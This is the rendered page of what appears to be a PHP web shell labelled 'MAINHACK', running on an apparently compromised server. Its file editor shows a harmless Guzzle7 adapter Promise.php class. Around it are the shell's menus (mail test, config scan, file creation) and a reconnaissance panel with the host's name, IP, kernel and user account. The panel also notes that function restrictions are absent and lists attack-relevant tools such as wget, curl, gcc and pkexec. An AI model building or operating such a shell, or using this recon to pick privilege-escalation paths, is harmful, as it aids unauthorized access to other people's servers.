[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Promise.php
<?php declare(strict_types=1); namespace Http\Adapter\Guzzle7; use GuzzleHttp\Exception as GuzzleExceptions; use GuzzleHttp\Promise\PromiseInterface; use Http\Adapter\Guzzle7\Exception\UnexpectedValueException; use Http\Client\Exception as HttplugException; use Http\Promise\Promise as HttpPromise; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; /** * Wrapper around Guzzle promises. * * @author Joel Wurtz <joel.wurtz@gmail.com> */ final class Promise implements HttpPromise { /** * @var PromiseInterface */ private $promise; /** * @var string State of the promise */ private $state; /** * @var ResponseInterface */ private $response; /** * @var HttplugException */ private $exception; /** * @var RequestInterface */ private $request; public function __construct(PromiseInterface $promise, RequestInterface $request) { $this->request = $request; $this->state = self::PENDING; $this->promise = $promise->then(function ($response) { $this->response = $response; $this->state = self::FULFILLED; return $response; }, function ($reason) use ($request) { $this->state = self::REJECTED; if ($reason instanceof HttplugException) { $this->exception = $reason; } elseif ($reason instanceof GuzzleExceptions\GuzzleException) { $this->exception = $this->handleException($reason, $request); } elseif ($reason instanceof \Throwable) { $this->exception = new HttplugException\TransferException('Invalid exception returned from Guzzle7', 0, $reason); } else { $this->exception = new UnexpectedValueException('Reason returned from Guzzle7 must be an Exception'); } throw $this->exception; }); } /** * {@inheritdoc} */ public function then(callable $onFulfilled = null, callable $onRejected = null) { return new static($this->promise->then($onFulfilled, $onRejected), $this->request); } /** * {@inheritdoc} */ public function getState() { return $this->state; } /** * {@inheritdoc} */ public function wait($unwrap = true) { $this->promise->wait(false); if ($unwrap) { if (self::REJECTED == $this->getState()) { throw $this->exception; } return $this->response; } } /** * Converts a Guzzle exception into an Httplug exception. * * @return HttplugException */ private function handleException(GuzzleExceptions\GuzzleException $exception, RequestInterface $request) { if ($exception instanceof GuzzleExceptions\ConnectException) { return new HttplugException\NetworkException($exception->getMessage(), $exception->getRequest(), $exception); } if ($exception instanceof GuzzleExceptions\RequestException) { // Make sure we have a response for the HttpException if ($exception->hasResponse()) { return new HttplugException\HttpException( $exception->getMessage(), $exception->getRequest(), $exception->getResponse(), $exception ); } return new HttplugException\RequestException($exception->getMessage(), $exception->getRequest(), $exception); } return new HttplugException\TransferException($exception->getMessage(), 0, $exception); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002